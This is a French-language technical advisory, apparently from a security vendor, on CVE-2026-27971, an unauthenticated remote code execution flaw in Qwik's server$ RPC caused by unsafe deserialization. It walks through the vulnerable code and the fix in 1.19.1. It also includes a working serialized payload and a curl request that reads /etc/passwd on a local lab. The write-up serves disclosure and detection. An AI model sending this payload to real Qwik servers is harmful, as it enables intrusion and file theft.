Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

CVE-2026-27971 : exécution de code à distance non authentifiée dans Qwik server$

Analyse technique de CVE-2026-27971, une vulnérabilité critique d'exécution de code à distance non authentifiée (CVSS 9.2) dans Qwik (< 1.19.1). La désérialisation non sécurisée dans le flux RPC de server$ permet de reconstruire des objets QRL contrôlés par l'attaquant à partir de requêtes application/qwik-json, ce qui autorise la résolution d'un chemin de module et d'un symbole arbitraires et, lorsque require() est disponible, l'exécution de code à distance via l'invocation d'une fonction côté serveur forgée.

CVE-2026-27971

RCE non authentifiée dans Qwik server$ via une désérialisation non sécurisée

12 mars 2026 · CVSS 9.2 Critique · Qwik < 1.19.1

ID CVE CVSS Versions affectées Corrigé
CVE-2026-27971 9.2 Critique < 1.19.1 1.19.1+

CVE-2026-27971 en bref : RCE via la désérialisation du RPC server$

Le mécanisme RPC server$ de Qwik accepte des requêtes application/qwik-json et désérialise des objets contrôlés par l'attaquant en valeurs d'exécution actives. Dans les versions vulnérables, ce chemin de désérialisation peut reconstruire un QRL pointant vers un chemin de module et un nom de symbole arbitraires. Si l'environnement d'exécution côté serveur dispose encore de require() natif, le chemin d'import serveur du framework peut être détourné pour charger des modules CommonJS choisis par l'attaquant et invoquer les fonctions exportées avec des arguments qu'il contrôle.

Le problème touche les déploiements où le flux server$ côté serveur vulnérable est accessible et où require() est disponible à l'exécution. Il est corrigé dans Qwik 1.19.1, dont le chemin d'import serveur n'effectue plus d'imports dynamiques paresseux pour les QRL non fiables.

Concrètement, un attaquant distant non authentifié peut envoyer une requête POST forgée vers :

POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync

et forcer le serveur à résoudre :

./node_modules/cross-spawn/index#sync

Le corps de la requête devient ainsi un appel de fonction à distance vers cross-spawn.sync(...).

CVE-2026-27971 et la résolution non sécurisée de server$ : de Qwik JSON à require()

Le comportement vulnérable se comprend plus facilement comme une chaîne en trois étapes :

1. Le corps de la requête est analysé par `_deserializeData()` de Qwik
2. Un objet QRL désérialisé est traité comme une cible `server$` légitime
3. Le chemin d'import serveur résout via `require()` le chunk contrôlé par l'attaquant

La porte d'entrée de la requête

La porte d'entrée côté serveur est simple. Si le paramètre de requête qfunc, l'en-tête X-QRL et l'en-tête Content-Type concordent, la requête est traitée comme une invocation server$ :

if (
  fn &&
  req.headers['x-qrl'] === fn &&
  req.headers['content-type'] === 'application/qwik-json'
) {
  const data = _deserializeData(body);
  if (Array.isArray(data)) {
    const [qrl, ...args] = data;
    if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
      const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
      const result = await resolvedFn.apply(null, args);
    }
  }
}

Il ne s'agit pas d'une API JSON classique. L'attaquant n'envoie pas de simples noms de fonctions et des arguments. Il envoie le graphe d'objets sérialisé de Qwik, qui reconstruit un objet QRL actif pendant la désérialisation.

Pourquoi le payload fonctionne

Le payload malveillant principal utilisé dans le lab est le suivant :

{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}

Après _deserializeData(), il devient :

[
  qrl("./node_modules/cross-spawn/index", "sync"),
  "id",
  []
]

L'environnement d'exécution finit donc par appeler :

crossSpawn.sync("id", []);

Le chemin d'import dangereux

La résolution côté serveur vulnérable peut se résumer à ceci :

async function importSymbol(url, symbolName) {
  let modulePath = String(url);
  if (!modulePath.endsWith('.js')) {
    modulePath += '.js';
  }

  const mod = require(modulePath);
  return mod[symbolName];
}

Le problème est que url et symbolName proviennent d'une entrée sérialisée contrôlée par l'attaquant. Une fois le QRL reconstruit par la désérialisation, l'attaquant contrôle à la fois le chemin du module et l'export à invoquer.

CVE-2026-27971 et la preuve de concept : obtenir une exécution de code à distance

Pour valider le problème en toute sécurité, un lab Docker local a été construit avec la configuration suivante : qwik-vuln sur 127.0.0.1:3000 avec @builder.io/qwik@1.19.0

Configuration du test

  • docker-compose.yaml
services:
  qwik-vuln:
    build:
      context: ./vulnerable
    ports:
      - "127.0.0.1:3000:3000"

Exploitation

La commande curl suivante permet d'obtenir une exécution de code à distance en envoyant manuellement le payload Qwik-JSON sérialisé au point de terminaison vulnérable

curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'

Résultat

Le conteneur vulnérable a renvoyé :

Exécution de code à distance avec curl
Figure 1 : exécution de code à distance avec curl

Cela confirme l'exécution à distance de cat /etc/passwd via la chaîne d'appels server$ désérialisée.

CVE-2026-27971 : template de validation Nuclei

Pour la validation locale, un template Nuclei basé sur id a été créé :

Validation de la détection par le template Nuclei
Figure 2 : validation de la détection par le template Nuclei

Validation de la cible vulnérable : le lab vulnérable remplit les conditions attendues :

  • HTTP 200
  • application/qwik-json dans les en-têtes de la réponse
  • Sortie de commande correspondant à uid=,gid=

CVE-2026-27971 : le correctif dans Qwik 1.19.1

Le comportement corrigé supprime le chemin d'import dynamique dangereux de l'environnement d'exécution serveur. Au lieu de résoudre des chunks arbitraires via require(), la routine d'import côté serveur échoue de manière sûre :

async function importSymbol(_url, symbolName) {
  const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
  if (regSym) {
    return regSym;
  }
  throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}

C'est le changement de sécurité essentiel. Le QRL désérialisé peut toujours exister en tant que donnée, mais il ne provoque plus le chargement de modules arbitraires sur le serveur.

Validation du contrôle corrigé

Le même template nuclei appliqué à la cible corrigée :

Validation du contrôle corrigé avec Nuclei
Figure 3 : validation du contrôle corrigé avec Nuclei

a renvoyé :

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

Invalid request

Remédiation immédiate

  • Mettre à niveau Qwik vers 1.19.1 ou une version ultérieure
  • Éviter d'exposer des chemins RPC server$ vulnérables sur des environnements d'exécution où require() natif est disponible
  • Vérifier si des adaptateurs côté serveur ou des wrappers CJS personnalisés réintroduisent une résolution dynamique des modules

Références

Ressource Lien
Bulletin de sécurité GitHub GHSA-p9x5-jp3h-96mm https://github.com/advisories/GHSA-p9x5-jp3h-96mm
Template Nuclei https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-27971